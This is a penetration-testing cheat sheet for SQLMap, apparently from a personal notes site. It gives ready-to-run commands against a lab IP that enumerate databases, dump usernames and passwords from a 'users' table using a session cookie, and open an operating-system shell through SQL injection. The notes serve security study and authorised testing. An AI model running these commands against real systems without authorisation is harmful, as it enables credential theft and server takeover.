> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-tools/web/sqlmap.md).
# SQLMap
SQLMap penetration testing notes for SQL injection detection, DBMS fingerprinting, database enumeration, table and column discovery, data dumping, cookie-based testing, risk and level tuning, OS shell
{% hint style="info" %}
**SQLMap** is an open-source penetration testing tool specifically designed to detect and exploit SQL injection vulnerabilities in web applications. It automates the process of detecting and exploiting SQL vulnerabilities by interacting with the underlying databases. SQLMap is used by IT security professionals and security researchers to assess the security of web applications by identifying and exploiting SQL-related security vulnerabilities.
{% endhint %}
## SQLMap Workflow
1. Capture or build the vulnerable request, including cookies, headers, and the injectable parameter.
2. Fingerprint the DBMS when possible and tune `--risk`, `--level`, and `--dbms` only after confirming behavior.
3. Enumerate databases, tables, columns, and target records with the smallest query scope that proves impact.
4. Dump only the data required for the assessment objective and preserve the exact command line for reporting.
5. Validate the finding manually when the report needs a minimal proof of concept without automation.
## Common SQLMap Operations
## List databases:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```
## Search tables in a given database:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```
## Find columns in a specific table:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```
## Dump users and passwords from the "users" table:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```
## Interactive Console:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```
## Interesting parameters:
#### Set the attack risk and depth:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```
#### If we know the type of database with the parameter:
--dbms mysql
#### To test all types of attacks without request every time:
```bash
--batch
```
### All Notes
---
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